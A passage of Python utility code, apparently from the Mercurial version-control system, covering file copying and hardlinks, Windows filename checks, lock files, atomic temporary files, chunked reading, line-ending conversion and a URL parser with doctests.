        # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
        # unless we are confident that dest is on a whitelisted filesystem.
        try:
            fstype = getfstype(os.path.dirname(dest))
        except OSError:
            fstype = None
        if fstype not in _hardlinkfswhitelist:
            hardlink = False
    if hardlink:
        try:
            oslink(src, dest)
            return
        except (IOError, OSError):
            pass # fall back to normal copy
    if os.path.islink(src):
        os.symlink(os.readlink(src), dest)
        # copytime is ignored for symlinks, but in general copytime isn't needed
        # for them anyway
    else:
        try:
            shutil.copyfile(src, dest)
            if copystat:
                # copystat also copies mode
                shutil.copystat(src, dest)
            else:
                shutil.copymode(src, dest)
                if oldstat and oldstat.stat:
                    newstat = filestat.frompath(dest)
                    if newstat.isambig(oldstat):
                        # stat of copied file is ambiguous to original one
                        advanced = (
                            oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                        os.utime(dest, (advanced, advanced))
        except shutil.Error as inst:
            raise error.Abort(str(inst))

def copyfiles(src, dst, hardlink=None, progress=None):
    """Copy a directory tree using hardlinks if possible."""
    num = 0

    def settopic():
        if progress:
            progress.topic = _('linking') if hardlink else _('copying')

    if os.path.isdir(src):
        if hardlink is None:
            hardlink = (os.stat(src).st_dev ==
                        os.stat(os.path.dirname(dst)).st_dev)
        settopic()
        os.mkdir(dst)
        for name, kind in listdir(src):
            srcname = os.path.join(src, name)
            dstname = os.path.join(dst, name)
            hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
            num += n
    else:
        if hardlink is None:
            hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                        os.stat(os.path.dirname(dst)).st_dev)
        settopic()

        if hardlink:
            try:
                oslink(src, dst)
            except (IOError, OSError):
                hardlink = False
                shutil.copy(src, dst)
        else:
            shutil.copy(src, dst)
        num += 1
        if progress:
            progress.increment()

    return hardlink, num

_winreservednames = {
    'con', 'prn', 'aux', 'nul',
    'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
    'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
}
_winreservedchars = ':*?"<>|'
def checkwinfilename(path):
    r'''Check that the base-relative path is a valid filename on Windows.
    Returns None if the path is ok, or a UI string describing the problem.

    >>> checkwinfilename(b"just/a/normal/path")
    >>> checkwinfilename(b"foo/bar/con.xml")
    "filename contains 'con', which is reserved on Windows"
    >>> checkwinfilename(b"foo/con.xml/bar")
    "filename contains 'con', which is reserved on Windows"
    >>> checkwinfilename(b"foo/bar/xml.con")
    >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
    "filename contains 'AUX', which is reserved on Windows"
    >>> checkwinfilename(b"foo/bar/bla:.txt")
    "filename contains ':', which is reserved on Windows"
    >>> checkwinfilename(b"foo/bar/b\07la.txt")
    "filename contains '\\x07', which is invalid on Windows"
    >>> checkwinfilename(b"foo/bar/bla ")
    "filename ends with ' ', which is not allowed on Windows"
    >>> checkwinfilename(b"../bar")
    >>> checkwinfilename(b"foo\\")
    "filename ends with '\\', which is invalid on Windows"
    >>> checkwinfilename(b"foo\\/bar")
    "directory name ends with '\\', which is invalid on Windows"
    '''
    if path.endswith('\\'):
        return _("filename ends with '\\', which is invalid on Windows")
    if '\\/' in path:
        return _("directory name ends with '\\', which is invalid on Windows")
    for n in path.replace('\\', '/').split('/'):
        if not n:
            continue
        for c in _filenamebytestr(n):
            if c in _winreservedchars:
                return _("filename contains '%s', which is reserved "
                         "on Windows") % c
            if ord(c) <= 31:
                return _("filename contains '%s', which is invalid "
                         "on Windows") % stringutil.escapestr(c)
        base = n.split('.')[0]
        if base and base.lower() in _winreservednames:
            return _("filename contains '%s', which is reserved "
                     "on Windows") % base
        t = n[-1:]
        if t in '. ' and n not in '..':
            return _("filename ends with '%s', which is not allowed "
                     "on Windows") % t

if pycompat.iswindows:
    checkosfilename = checkwinfilename
    timer = time.clock
else:
    checkosfilename = platform.checkosfilename
    timer = time.time

if safehasattr(time, "perf_counter"):
    timer = time.perf_counter

def makelock(info, pathname):
    """Create a lock file atomically if possible

    This may leave a stale lock file if symlink isn't supported and signal
    interrupt is enabled.
    """
    try:
        return os.symlink(info, pathname)
    except OSError as why:
        if why.errno == errno.EEXIST:
            raise
    except AttributeError: # no symlink in os
        pass

    flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
    ld = os.open(pathname, flags)
    os.write(ld, info)
    os.close(ld)

def readlock(pathname):
    try:
        return readlink(pathname)
    except OSError as why:
        if why.errno not in (errno.EINVAL, errno.ENOSYS):
            raise
    except AttributeError: # no symlink in os
        pass
    with posixfile(pathname, 'rb') as fp:
        return fp.read()

def fstat(fp):
    '''stat file object that may not have fileno method.'''
    try:
        return os.fstat(fp.fileno())
    except AttributeError:
        return os.stat(fp.name)

# File system features

def fscasesensitive(path):
    """
    Return true if the given path is on a case-sensitive filesystem

    Requires a path (like /foo/.hg) ending with a foldable final
    directory component.
    """
    s1 = os.lstat(path)
    d, b = os.path.split(path)
    b2 = b.upper()
    if b == b2:
        b2 = b.lower()
        if b == b2:
            return True # no evidence against case sensitivity
    p2 = os.path.join(d, b2)
    try:
        s2 = os.lstat(p2)
        if s2 == s1:
            return False
        return True
    except OSError:
        return True

try:
    import re2
    _re2 = None
except ImportError:
    _re2 = False

class _re(object):
    def _checkre2(self):
        global _re2
        try:
            # check if match works, see issue3964
            _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
        except ImportError:
            _re2 = False

    def compile(self, pat, flags=0):
        '''Compile a regular expression, using re2 if possible

        For best performance, use only re2-compatible regexp features. The
        only flags from the re module that are re2-compatible are
        IGNORECASE and MULTILINE.'''
        if _re2 is None:
            self._checkre2()
        if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
            if flags & remod.IGNORECASE:
                pat = '(?i)' + pat
            if flags & remod.MULTILINE:
                pat = '(?m)' + pat
            try:
                return re2.compile(pat)
            except re2.error:
                pass
        return remod.compile(pat, flags)

    @propertycache
    def escape(self):
        '''Return the version of escape corresponding to self.compile.

        This is imperfect because whether re2 or re is used for a particular
        function depends on the flags, etc, but it's the best we can do.
        '''
        global _re2
        if _re2 is None:
            self._checkre2()
        if _re2:
            return re2.escape
        else:
            return remod.escape

re = _re()

_fspathcache = {}
def fspath(name, root):
    '''Get name in the case stored in the filesystem

    The name should be relative to root, and be normcase-ed for efficiency.

    Note that this function is unnecessary, and should not be
    called, for case-sensitive filesystems (simply because it's expensive).

    The root should be normcase-ed, too.
    '''
    def _makefspathcacheentry(dir):
        return dict((normcase(n), n) for n in os.listdir(dir))

    seps = pycompat.ossep
    if pycompat.osaltsep:
        seps = seps + pycompat.osaltsep
    # Protect backslashes. This gets silly very quickly.
    seps.replace('\\','\\\\')
    pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
    dir = os.path.normpath(root)
    result = []
    for part, sep in pattern.findall(name):
        if sep:
            result.append(sep)
            continue

        if dir not in _fspathcache:
            _fspathcache[dir] = _makefspathcacheentry(dir)
        contents = _fspathcache[dir]

        found = contents.get(part)
        if not found:
            # retry "once per directory" per "dirstate.walk" which
            # may take place for each patches of "hg qpush", for example
            _fspathcache[dir] = contents = _makefspathcacheentry(dir)
            found = contents.get(part)

        result.append(found or part)
        dir = os.path.join(dir, part)

    return ''.join(result)

def checknlink(testfile):
    '''check whether hardlink count reporting works properly'''

    # testfile may be open, so we need a separate file for checking to
    # work around issue2543 (or testfile may get lost on Samba shares)
    f1, f2, fp = None, None, None
    try:
        fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                  suffix='1~', dir=os.path.dirname(testfile))
        os.close(fd)
        f2 = '%s2~' % f1[:-2]

        oslink(f1, f2)
        # nlinks() may behave differently for files on Windows shares if
        # the file is open.
        fp = posixfile(f2)
        return nlinks(f2) > 1
    except OSError:
        return False
    finally:
        if fp is not None:
            fp.close()
        for f in (f1, f2):
            try:
                if f is not None:
                    os.unlink(f)
            except OSError:
                pass

def endswithsep(path):
    '''Check path ends with os.sep or os.altsep.'''
    return (path.endswith(pycompat.ossep)
            or pycompat.osaltsep and path.endswith(pycompat.osaltsep))

def splitpath(path):
    '''Split path by os.sep.
    Note that this function does not use os.altsep because this is
    an alternative of simple "xxx.split(os.sep)".
    It is recommended to use os.path.normpath() before using this
    function if need.'''
    return path.split(pycompat.ossep)

def mktempcopy(name, emptyok=False, createmode=None):
    """Create a temporary file with the same contents from name

    The permission bits are copied from the original file.

    If the temporary file is going to be truncated immediately, you
    can use emptyok=True as an optimization.

    Returns the name of the temporary file.
    """
    d, fn = os.path.split(name)
    fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
    os.close(fd)
    # Temporary files are created with mode 0600, which is usually not
    # what we want.  If the original file already exists, just copy
    # its mode.  Otherwise, manually obey umask.
    copymode(name, temp, createmode)
    if emptyok:
        return temp
    try:
        try:
            ifp = posixfile(name, "rb")
        except IOError as inst:
            if inst.errno == errno.ENOENT:
                return temp
            if not getattr(inst, 'filename', None):
                inst.filename = name
            raise
        ofp = posixfile(temp, "wb")
        for chunk in filechunkiter(ifp):
            ofp.write(chunk)
        ifp.close()
        ofp.close()
    except: # re-raises
        try:
            os.unlink(temp)
        except OSError:
            pass
        raise
    return temp

class filestat(object):
    """help to exactly detect change of a file

    'stat' attribute is result of 'os.stat()' if specified 'path'
    exists. Otherwise, it is None. This can avoid preparative
    'exists()' examination on client side of this class.
    """
    def __init__(self, stat):
        self.stat = stat

    @classmethod
    def frompath(cls, path):
        try:
            stat = os.stat(path)
        except OSError as err:
            if err.errno != errno.ENOENT:
                raise
            stat = None
        return cls(stat)

    @classmethod
    def fromfp(cls, fp):
        stat = os.fstat(fp.fileno())
        return cls(stat)

    __hash__ = object.__hash__

    def __eq__(self, old):
        try:
            # if ambiguity between stat of new and old file is
            # avoided, comparison of size, ctime and mtime is enough
            # to exactly detect change of a file regardless of platform
            return (self.stat.st_size == old.stat.st_size and
                    self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
                    self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
        except AttributeError:
            pass
        try:
            return self.stat is None and old.stat is None
        except AttributeError:
            return False

    def isambig(self, old):
        """Examine whether new (= self) stat is ambiguous against old one

        "S[N]" below means stat of a file at N-th change:

        - S[n-1].ctime  < S[n].ctime: can detect change of a file
        - S[n-1].ctime == S[n].ctime
          - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
          - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
          - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
        - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)

        Case (*2) above means that a file was changed twice or more at
        same time in sec (= S[n-1].ctime), and comparison of timestamp
        is ambiguous.

        Base idea to avoid such ambiguity is "advance mtime 1 sec, if
        timestamp is ambiguous".

        But advancing mtime only in case (*2) doesn't work as
        expected, because naturally advanced S[n].mtime in case (*1)
        might be equal to manually advanced S[n-1 or earlier].mtime.

        Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
        treated as ambiguous regardless of mtime, to avoid overlooking
        by confliction between such mtime.

        Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
        S[n].mtime", even if size of a file isn't changed.
        """
        try:
            return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
        except AttributeError:
            return False

    def avoidambig(self, path, old):
        """Change file stat of specified path to avoid ambiguity

        'old' should be previous filestat of 'path'.

        This skips avoiding ambiguity, if a process doesn't have
        appropriate privileges for 'path'. This returns False in this
        case.

        Otherwise, this returns True, as "ambiguity is avoided".
        """
        advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
        try:
            os.utime(path, (advanced, advanced))
        except OSError as inst:
            if inst.errno == errno.EPERM:
                # utime() on the file created by another user causes EPERM,
                # if a process doesn't have appropriate privileges
                return False
            raise
        return True

    def __ne__(self, other):
        return not self == other

class atomictempfile(object):
    '''writable file object that atomically updates a file

    All writes will go to a temporary copy of the original file. Call
    close() when you are done writing, and atomictempfile will rename
    the temporary copy to the original name, making the changes
    visible. If the object is destroyed without being closed, all your
    writes are discarded.

    checkambig argument of constructor is used with filestat, and is
    useful only if target file is guarded by any lock (e.g. repo.lock
    or repo.wlock).
    '''
    def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
        self.__name = name      # permanent name
        self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                    createmode=createmode)
        self._fp = posixfile(self._tempname, mode)
        self._checkambig = checkambig

        # delegated methods
        self.read = self._fp.read
        self.write = self._fp.write
        self.seek = self._fp.seek
        self.tell = self._fp.tell
        self.fileno = self._fp.fileno

    def close(self):
        if not self._fp.closed:
            self._fp.close()
            filename = localpath(self.__name)
            oldstat = self._checkambig and filestat.frompath(filename)
            if oldstat and oldstat.stat:
                rename(self._tempname, filename)
                newstat = filestat.frompath(filename)
                if newstat.isambig(oldstat):
                    # stat of changed file is ambiguous to original one
                    advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                    os.utime(filename, (advanced, advanced))
            else:
                rename(self._tempname, filename)

    def discard(self):
        if not self._fp.closed:
            try:
                os.unlink(self._tempname)
            except OSError:
                pass
            self._fp.close()

    def __del__(self):
        if safehasattr(self, '_fp'): # constructor actually did something
            self.discard()

    def __enter__(self):
        return self

    def __exit__(self, exctype, excvalue, traceback):
        if exctype is not None:
            self.discard()
        else:
            self.close()

def unlinkpath(f, ignoremissing=False, rmdir=True):
    """unlink and remove the directory if it is empty"""
    if ignoremissing:
        tryunlink(f)
    else:
        unlink(f)
    if rmdir:
        # try removing directories that might now be empty
        try:
            removedirs(os.path.dirname(f))
        except OSError:
            pass

def tryunlink(f):
    """Attempt to remove a file, ignoring ENOENT errors."""
    try:
        unlink(f)
    except OSError as e:
        if e.errno != errno.ENOENT:
            raise

def makedirs(name, mode=None, notindexed=False):
    """recursive directory creation with parent mode inheritance

    Newly created directories are marked as "not to be indexed by
    the content indexing service", if ``notindexed`` is specified
    for "write" mode access.
    """
    try:
        makedir(name, notindexed)
    except OSError as err:
        if err.errno == errno.EEXIST:
            return
        if err.errno != errno.ENOENT or not name:
            raise
        parent = os.path.dirname(os.path.abspath(name))
        if parent == name:
            raise
        makedirs(parent, mode, notindexed)
        try:
            makedir(name, notindexed)
        except OSError as err:
            # Catch EEXIST to handle races
            if err.errno == errno.EEXIST:
                return
            raise
    if mode is not None:
        os.chmod(name, mode)

def readfile(path):
    with open(path, 'rb') as fp:
        return fp.read()

def writefile(path, text):
    with open(path, 'wb') as fp:
        fp.write(text)

def appendfile(path, text):
    with open(path, 'ab') as fp:
        fp.write(text)

class chunkbuffer(object):
    """Allow arbitrary sized chunks of data to be efficiently read from an
    iterator over chunks of arbitrary size."""

    def __init__(self, in_iter):
        """in_iter is the iterator that's iterating over the input chunks."""
        def splitbig(chunks):
            for chunk in chunks:
                if len(chunk) > 2**20:
                    pos = 0
                    while pos < len(chunk):
                        end = pos + 2 ** 18
                        yield chunk[pos:end]
                        pos = end
                else:
                    yield chunk
        self.iter = splitbig(in_iter)
        self._queue = collections.deque()
        self._chunkoffset = 0

    def read(self, l=None):
        """Read L bytes of data from the iterator of chunks of data.
        Returns less than L bytes if the iterator runs dry.

        If size parameter is omitted, read everything"""
        if l is None:
            return ''.join(self.iter)

        left = l
        buf = []
        queue = self._queue
        while left > 0:
            # refill the queue
            if not queue:
                target = 2**18
                for chunk in self.iter:
                    queue.append(chunk)
                    target -= len(chunk)
                    if target <= 0:
                        break
                if not queue:
                    break

            # The easy way to do this would be to queue.popleft(), modify the
            # chunk (if necessary), then queue.appendleft(). However, for cases
            # where we read partial chunk content, this incurs 2 dequeue
            # mutations and creates a new str for the remaining chunk in the
            # queue. Our code below avoids this overhead.

            chunk = queue[0]
            chunkl = len(chunk)
            offset = self._chunkoffset

            # Use full chunk.
            if offset == 0 and left >= chunkl:
                left -= chunkl
                queue.popleft()
                buf.append(chunk)
                # self._chunkoffset remains at 0.
                continue

            chunkremaining = chunkl - offset

            # Use all of unconsumed part of chunk.
            if left >= chunkremaining:
                left -= chunkremaining
                queue.popleft()
                # offset == 0 is enabled by block above, so this won't merely
                # copy via ``chunk[0:]``.
                buf.append(chunk[offset:])
                self._chunkoffset = 0

            # Partial chunk needed.
            else:
                buf.append(chunk[offset:offset + left])
                self._chunkoffset += left
                left -= chunkremaining

        return ''.join(buf)

def filechunkiter(f, size=131072, limit=None):
    """Create a generator that produces the data in the file size
    (default 131072) bytes at a time, up to optional limit (default is
    to read all data).  Chunks may be less than size bytes if the
    chunk is the last chunk in the file, or the file is a socket or
    some other type of file that sometimes reads less data than is
    requested."""
    assert size >= 0
    assert limit is None or limit >= 0
    while True:
        if limit is None:
            nbytes = size
        else:
            nbytes = min(limit, size)
        s = nbytes and f.read(nbytes)
        if not s:
            break
        if limit:
            limit -= len(s)
        yield s

class cappedreader(object):
    """A file object proxy that allows reading up to N bytes.

    Given a source file object, instances of this type allow reading up to
    N bytes from that source file object. Attempts to read past the allowed
    limit are treated as EOF.

    It is assumed that I/O is not performed on the original file object
    in addition to I/O that is performed by this instance. If there is,
    state tracking will get out of sync and unexpected results will ensue.
    """
    def __init__(self, fh, limit):
        """Allow reading up to <limit> bytes from <fh>."""
        self._fh = fh
        self._left = limit

    def read(self, n=-1):
        if not self._left:
            return b''

        if n < 0:
            n = self._left

        data = self._fh.read(min(n, self._left))
        self._left -= len(data)
        assert self._left >= 0

        return data

    def readinto(self, b):
        res = self.read(len(b))
        if res is None:
            return None

        b[0:len(res)] = res
        return len(res)

def unitcountfn(*unittable):
    '''return a function that renders a readable count of some quantity'''

    def go(count):
        for multiplier, divisor, format in unittable:
            if abs(count) >= divisor * multiplier:
                return format % (count / float(divisor))
        return unittable[-1][2] % count

    return go

def processlinerange(fromline, toline):
    """Check that linerange <fromline>:<toline> makes sense and return a
    0-based range.

    >>> processlinerange(10, 20)
    (9, 20)
    >>> processlinerange(2, 1)
    Traceback (most recent call last):
        ...
    ParseError: line range must be positive
    >>> processlinerange(0, 5)
    Traceback (most recent call last):
        ...
    ParseError: fromline must be strictly positive
    """
    if toline - fromline < 0:
        raise error.ParseError(_("line range must be positive"))
    if fromline < 1:
        raise error.ParseError(_("fromline must be strictly positive"))
    return fromline - 1, toline

bytecount = unitcountfn(
    (100, 1 << 30, _('%.0f GB')),
    (10, 1 << 30, _('%.1f GB')),
    (1, 1 << 30, _('%.2f GB')),
    (100, 1 << 20, _('%.0f MB')),
    (10, 1 << 20, _('%.1f MB')),
    (1, 1 << 20, _('%.2f MB')),
    (100, 1 << 10, _('%.0f KB')),
    (10, 1 << 10, _('%.1f KB')),
    (1, 1 << 10, _('%.2f KB')),
    (1, 1, _('%.0f bytes')),
    )

class transformingwriter(object):
    """Writable file wrapper to transform data by function"""

    def __init__(self, fp, encode):
        self._fp = fp
        self._encode = encode

    def close(self):
        self._fp.close()

    def flush(self):
        self._fp.flush()

    def write(self, data):
        return self._fp.write(self._encode(data))

# Matches a single EOL which can either be a CRLF where repeated CR
# are removed or a LF. We do not care about old Macintosh files, so a
# stray CR is an error.
_eolre = remod.compile(br'\r*\n')

def tolf(s):
    return _eolre.sub('\n', s)

def tocrlf(s):
    return _eolre.sub('\r\n', s)

def _crlfwriter(fp):
    return transformingwriter(fp, tocrlf)

if pycompat.oslinesep == '\r\n':
    tonativeeol = tocrlf
    fromnativeeol = tolf
    nativeeolwriter = _crlfwriter
else:
    tonativeeol = pycompat.identity
    fromnativeeol = pycompat.identity
    nativeeolwriter = pycompat.identity

if (pyplatform.python_implementation() == 'CPython' and
    sys.version_info < (3, 0)):
    # There is an issue in CPython that some IO methods do not handle EINTR
    # correctly. The following table shows what CPython version (and functions)
    # are affected (buggy: has the EINTR bug, okay: otherwise):
    #
    #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
    #   --------------------------------------------------
    #    fp.__iter__ | buggy   | buggy           | okay
    #    fp.read*    | buggy   | okay [1]        | okay
    #
    # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
    #
    # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
    # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
    #
    # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
    # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
    # CPython 2, because CPython 2 maintains an internal readahead buffer for
    # fp.__iter__ but not other fp.read* methods.
    #
    # On modern systems like Linux, the "read" syscall cannot be interrupted
    # when reading "fast" files like on-disk files. So the EINTR issue only
    # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
    # files approximately as "fast" files and use the fast (unsafe) code path,
    # to minimize the performance impact.
    if sys.version_info >= (2, 7, 4):
        # fp.readline deals with EINTR correctly, use it as a workaround.
        def _safeiterfile(fp):
            return iter(fp.readline, '')
    else:
        # fp.read* are broken too, manually deal with EINTR in a stupid way.
        # note: this may block longer than necessary because of bufsize.
        def _safeiterfile(fp, bufsize=4096):
            fd = fp.fileno()
            line = ''
            while True:
                try:
                    buf = os.read(fd, bufsize)
                except OSError as ex:
                    # os.read only raises EINTR before any data is read
                    if ex.errno == errno.EINTR:
                        continue
                    else:
                        raise
                line += buf
                if '\n' in buf:
                    splitted = line.splitlines(True)
                    line = ''
                    for l in splitted:
                        if l[-1] == '\n':
                            yield l
                        else:
                            line = l
                if not buf:
                    break
            if line:
                yield line

    def iterfile(fp):
        fastpath = True
        if type(fp) is file:
            fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
        if fastpath:
            return fp
        else:
            return _safeiterfile(fp)
else:
    # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
    def iterfile(fp):
        return fp

def iterlines(iterator):
    for chunk in iterator:
        for line in chunk.splitlines():
            yield line

def expandpath(path):
    return os.path.expanduser(os.path.expandvars(path))

def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
    """Return the result of interpolating items in the mapping into string s.

    prefix is a single character string, or a two character string with
    a backslash as the first character if the prefix needs to be escaped in
    a regular expression.

    fn is an optional function that will be applied to the replacement text
    just before replacement.

    escape_prefix is an optional flag that allows using doubled prefix for
    its escaping.
    """
    fn = fn or (lambda s: s)
    patterns = '|'.join(mapping.keys())
    if escape_prefix:
        patterns += '|' + prefix
        if len(prefix) > 1:
            prefix_char = prefix[1:]
        else:
            prefix_char = prefix
        mapping[prefix_char] = prefix_char
    r = remod.compile(br'%s(%s)' % (prefix, patterns))
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)

def getport(port):
    """Return the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.
    """
    try:
        return int(port)
    except ValueError:
        pass

    try:
        return socket.getservbyname(pycompat.sysstr(port))
    except socket.error:
        raise error.Abort(_("no port number associated with service '%s'")
                          % port)

class url(object):
    r"""Reliable URL parser.

    This parses URLs and provides attributes for the following
    components:

    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

    Missing components are set to None. The only exception is
    fragment, which is set to '' if present but empty.

    If parsefragment is False, fragment is included in query. If
    parsequery is False, query is included in path. If both are
    False, both fragment and query are included in path.

    See http://www.ietf.org/rfc/rfc2396.txt for more information.

    Note that for backward compatibility reasons, bundle URLs do not
    take host names. That means 'bundle://../' has a path of '../'.

    Examples:

    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
    >>> url(b'file:///home/joe/repo')
    <url scheme: 'file', path: '/home/joe/repo'>
    >>> url(b'file:///c:/temp/foo/')
    <url scheme: 'file', path: 'c:/temp/foo/'>
    >>> url(b'bundle:foo')
    <url scheme: 'bundle', path: 'foo'>
    >>> url(b'bundle://../foo')
    <url scheme: 'bundle', path: '../foo'>
    >>> url(br'c:\foo\bar')
    <url path: 'c:\\foo\\bar'>
    >>> url(br'\\blah\blah\blah')
    <url path: '\\\\blah\\blah\\blah'>
    >>> url(br'\\blah\blah\blah#baz')
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
    >>> url(br'file:///C:\users\me')
    <url scheme: 'file', path: 'C:\\users\\me'>

    Authentication credentials:

    >>> url(b'ssh://joe:xyz@x/repo')
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
    >>> url(b'ssh://joe@x/repo')
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

    Query strings and fragments:

    >>> url(b'http://host/a?b#c')
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
    <url scheme: 'http', host: 'host', path: 'a?b#c'>

    Empty path:

    >>> url(b'')
    <url path: ''>
    >>> url(b'#a')
    <url path: '', fragment: 'a'>
    >>> url(b'http://host/')
    <url scheme: 'http', host: 'host', path: ''>
    >>> url(b'http://host/#a')
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>

    Only scheme:

    >>> url(b'http:')
    <url scheme: 'http'>
    """

    _safechars = "!~*'()+"
    _safepchars = "/!~*'()+:\\"
    _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match

    def __init__(self, path, parsequery=True, parsefragment=True):
        # We slowly chomp away at path until we have only the path left
        self.scheme = self.user = self.passwd = self.host = None
        self.port = self.path = self.query = self.fragment = None
        self._localpath = True
        self._hostport = ''
        self._origpath = path

        if parsefragment and '#' in path:
            path, self.fragment = path.split('#', 1)

        # special case for Windows drive letters and UNC paths
        if hasdriveletter(path) or path.startswith('\\\\'):
            self.path = path
            return

        # For compatibility reasons, we can't handle bundle paths as
        # normal URLS
        if path.startswith('bundle:'):
            self.scheme = 'bundle'
            path = path[7:]
            if path.startswith('//'):
                path = path[2:]
            self.path = path
            return

        if self._matchscheme(path):
            parts = path.split(':', 1)
            if parts[0]:
                self.scheme, path = parts
                self._localpath = False

        if not path:
            path = None
            if self._localpath:
                self.path = ''
                return
        else:
            if self._localpath:
                self.path = path
                return

            if parsequery and '?' in path:
                path, self.query = path.split('?', 1)
                if not path:
                    path = None
                if not self.query:
                    self.query = None

            # // is required to specify a host/authority
            if path and path.startswith('//'):
                parts = path[2:].split('/', 1)
                if len(parts) > 1:
                    self.host, path = parts
                else:
                    self.host = parts[0]
                    path = None
                if not self.host:
                    self.host = None
                    # path of file:///d is /d
                    # path of file:///d:/ is d:/, not /d:/
                    if path and not hasdriveletter(path):
                        path = '/' + path

            if self.host and '@' in self.host:
                self.user, self.host = self.host.rsplit('@', 1)
                if ':' in self.user:
                    self.user, self.passwd = self.user.split(':', 1)
                if not self.host:
                    self.host = None

            # Don't split on colons in IPv6 addresses without ports
            if (self.host and ':' in self.host and
                not (self.host.startswith('[') and self.host.endswith(']'))):
                self._hostport = self.host
                self.host, self.port = self.host.rsplit(':', 1)
                if not self.host:
                    self.host = None

            if (self.host and self.scheme == 'file' and
                self.host not in ('localhost', '127.0.0.1', '[::1]')):
                raise error.Abort(_('file:// URLs can only refer to localhost'))

        self.path = path

        # leave the query string escaped
        for a in ('user', 'passwd', 'host', 'port',
                  'path', 'fragment'):
            v = getattr(self, a)
            if v is not None:
                setattr(self, a, urlreq.unquote(v))

    @encoding.strmethod
    def __repr__(self):
        attrs = []
        for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                  'query', 'fragment'):
            v = getattr(self, a)
            if v is not None:
                attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
        return '<url %s>' % ', '.join(attrs)

    def __bytes__(self):
        r"""Join the URL's components back into a URL string.

        Examples:

        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
        'http://user:pw@host:80/?foo=bar&baz=42'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
        'http://user:pw@host:80/?foo=bar%3dbaz'
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
        'ssh://user:pw@[::1]:2200//home/joe#'
        >>> bytes(url(b'http://localhost:80//'))
        'http://localhost:80//'
        >>> bytes(url(b'http://localhost:80/'))
        'http://localhost:80/'
        >>> bytes(url(b'http://localhost:80'))
        'http://localhost:80/'
        >>> bytes(url(b'bundle:foo'))
        'bundle:foo'
        >>> bytes(url(b'bundle://../foo'))
        'bundle:../foo'
        >>> bytes(url(b'path'))
        'path'
        >>> bytes(url(b'file:///tmp/foo/bar'))
        'file:///tmp/foo/bar'
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
        'file:///c:/tmp/foo/bar'
        >>> print(url(br'bundle:foo\bar'))
        bundle:foo\bar
        >>> print(url(br'file:///D:\data\hg'))
        file:///D:\data\hg
        """
        if self._localpath:
            s = self.path
            if self.scheme == 'bundle':
                s = 'bundle:' + s
            if self.fragment:
                s += '#' + self.fragment
            return s

        s = self.scheme + ':'
        if self.user or self.passwd or self.host:
            s += '//'
        elif self.scheme and (not self.path or self.path.startswith('/')
                              or hasdriveletter(self.path)):
            s += '//'
            if hasdriveletter(self.path):
                s += '/'
        if self.user:
            s += urlreq.quote(self.user, safe=self._safechars)
        if self.passwd:
            s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
        if self.user or self.passwd:
            s += '@'
        if self.host:
            if not (self.host.startswith('[') and self.host.endswith(']')):
                s += urlreq.quote(self.host)
            else:
